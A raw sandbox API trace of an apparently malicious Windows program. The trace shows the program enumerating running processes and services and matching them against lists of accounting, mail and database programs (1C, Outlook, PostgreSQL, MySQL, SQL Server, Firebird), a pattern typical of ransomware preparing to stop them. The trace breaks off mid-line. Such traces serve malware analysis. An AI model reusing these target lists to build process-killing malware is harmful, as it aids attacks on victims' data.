Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.059] lstrlenW (lpString="wininit.exe") returned 11 [0267.059] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0267.059] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0267.059] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0267.059] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0267.059] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0267.059] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0267.059] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0267.060] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.060] lstrlenW (lpString="csrss.exe") returned 9 [0267.060] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0267.060] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0267.060] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0267.060] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0267.060] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0267.060] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0267.060] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0267.060] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.060] lstrlenW (lpString="winlogon.exe") returned 12 [0267.060] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0267.060] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0267.060] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0267.060] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0267.060] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.061] lstrlenW (lpString="services.exe") returned 12 [0267.061] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.061] lstrlenW (lpString="lsass.exe") returned 9 [0267.061] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0267.061] lstrlenW (lpString="lsm.exe") returned 7 [0267.061] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.061] lstrlenW (lpString="svchost.exe") returned 11 [0267.061] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.062] lstrlenW (lpString="svchost.exe") returned 11 [0267.062] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.062] lstrlenW (lpString="svchost.exe") returned 11 [0267.062] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.062] lstrlenW (lpString="svchost.exe") returned 11 [0267.062] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.062] lstrlenW (lpString="svchost.exe") returned 11 [0267.062] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.063] lstrlenW (lpString="audiodg.exe") returned 11 [0267.063] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.063] lstrlenW (lpString="svchost.exe") returned 11 [0267.063] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.063] lstrlenW (lpString="svchost.exe") returned 11 [0267.063] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0267.063] lstrlenW (lpString="userinit.exe") returned 12 [0267.063] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.064] lstrlenW (lpString="dwm.exe") returned 7 [0267.064] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.064] lstrlenW (lpString="explorer.exe") returned 12 [0267.064] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.064] lstrlenW (lpString="spoolsv.exe") returned 11 [0267.064] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0267.064] lstrlenW (lpString="taskhost.exe") returned 12 [0267.064] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.064] lstrlenW (lpString="svchost.exe") returned 11 [0267.065] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0267.065] lstrlenW (lpString="chrome64b.exe") returned 13 [0267.065] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0267.065] lstrlenW (lpString="reader_sl.exe") returned 13 [0267.065] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0267.065] lstrlenW (lpString="taskhost.exe") returned 12 [0267.065] Process32NextW (in: hSnapshot=0x320, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0267.066] CloseHandle (hObject=0x320) returned 1 [0267.066] Sleep (dwMilliseconds=0x1f4) [0267.627] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4544748 [0267.627] EnumServicesStatusExW (in: hSCManager=0x4544748, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0267.627] GetLastError () returned 0xea [0267.628] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113e) returned 0x4596fe8 [0267.628] EnumServicesStatusExW (in: hSCManager=0x4544748, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4596fe8, cbBufSize=0x113e, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4596fe8, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0267.628] CloseServiceHandle (hSCObject=0x4544748) returned 1 [0267.628] lstrlenW (lpString="Appinfo") returned 7 [0267.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0267.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0267.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0267.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0267.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0267.628] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0267.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.628] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0267.628] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0267.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0267.628] lstrlenW (lpString="AudioSrv") returned 8 [0267.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0267.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0267.629] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0267.629] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0267.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0267.629] lstrlenW (lpString="BFE") returned 3 [0267.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0267.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0267.629] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0267.629] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0267.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0267.629] lstrlenW (lpString="CryptSvc") returned 8 [0267.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0267.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0267.629] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0267.629] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0267.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0267.629] lstrlenW (lpString="CscService") returned 10 [0267.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0267.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0267.629] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0267.629] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0267.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0267.629] lstrlenW (lpString="DcomLaunch") returned 10 [0267.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.629] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0267.629] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0267.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0267.629] lstrlenW (lpString="Dhcp") returned 4 [0267.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0267.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0267.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0267.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0267.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0267.629] lstrlenW (lpString="Dnscache") returned 8 [0267.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0267.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0267.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0267.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0267.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0267.630] lstrlenW (lpString="DPS") returned 3 [0267.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0267.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0267.630] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0267.630] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0267.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0267.630] lstrlenW (lpString="eventlog") returned 8 [0267.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0267.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0267.630] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0267.630] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0267.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0267.630] lstrlenW (lpString="EventSystem") returned 11 [0267.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0267.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0267.630] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0267.630] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0267.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0267.630] lstrlenW (lpString="gpsvc") returned 5 [0267.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0267.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0267.630] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0267.630] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0267.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0267.630] lstrlenW (lpString="iphlpsvc") returned 8 [0267.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0267.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0267.630] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0267.630] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0267.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0267.630] lstrlenW (lpString="LanmanServer") returned 12 [0267.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0267.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0267.631] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0267.631] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0267.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0267.631] lstrlenW (lpString="LanmanWorkstation") returned 17 [0267.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0267.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0267.631] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0267.631] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0267.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0267.631] lstrlenW (lpString="lmhosts") returned 7 [0267.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0267.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0267.631] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0267.631] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0267.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0267.631] lstrlenW (lpString="MMCSS") returned 5 [0267.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0267.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0267.631] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0267.631] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0267.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0267.631] lstrlenW (lpString="MpsSvc") returned 6 [0267.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0267.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0267.631] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0267.631] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0267.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0267.631] lstrlenW (lpString="Netman") returned 6 [0267.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0267.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0267.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0267.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0267.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0267.632] lstrlenW (lpString="netprofm") returned 8 [0267.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0267.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0267.632] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0267.632] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0267.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0267.632] lstrlenW (lpString="NlaSvc") returned 6 [0267.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0267.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0267.632] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0267.632] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0267.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0267.632] lstrlenW (lpString="nsi") returned 3 [0267.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0267.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0267.632] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0267.632] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0267.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0267.632] lstrlenW (lpString="PcaSvc") returned 6 [0267.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0267.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0267.632] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0267.632] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0267.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0267.632] lstrlenW (lpString="PlugPlay") returned 8 [0267.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0267.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0267.632] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0267.632] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0267.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0267.632] lstrlenW (lpString="Power") returned 5 [0267.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0267.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0267.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0267.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0267.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0267.633] lstrlenW (lpString="ProfSvc") returned 7 [0267.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0267.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0267.633] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0267.633] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0267.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0267.633] lstrlenW (lpString="RpcEptMapper") returned 12 [0267.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.633] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0267.633] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0267.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0267.633] lstrlenW (lpString="RpcSs") returned 5 [0267.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0267.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0267.633] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0267.633] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0267.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0267.633] lstrlenW (lpString="SamSs") returned 5 [0267.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0267.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0267.633] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0267.633] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0267.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0267.633] lstrlenW (lpString="Schedule") returned 8 [0267.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0267.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0267.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0267.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0267.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0267.634] lstrlenW (lpString="SENS") returned 4 [0267.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0267.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0267.634] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0267.634] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0267.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0267.634] lstrlenW (lpString="ShellHWDetection") returned 16 [0267.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.634] lstrcmpiW 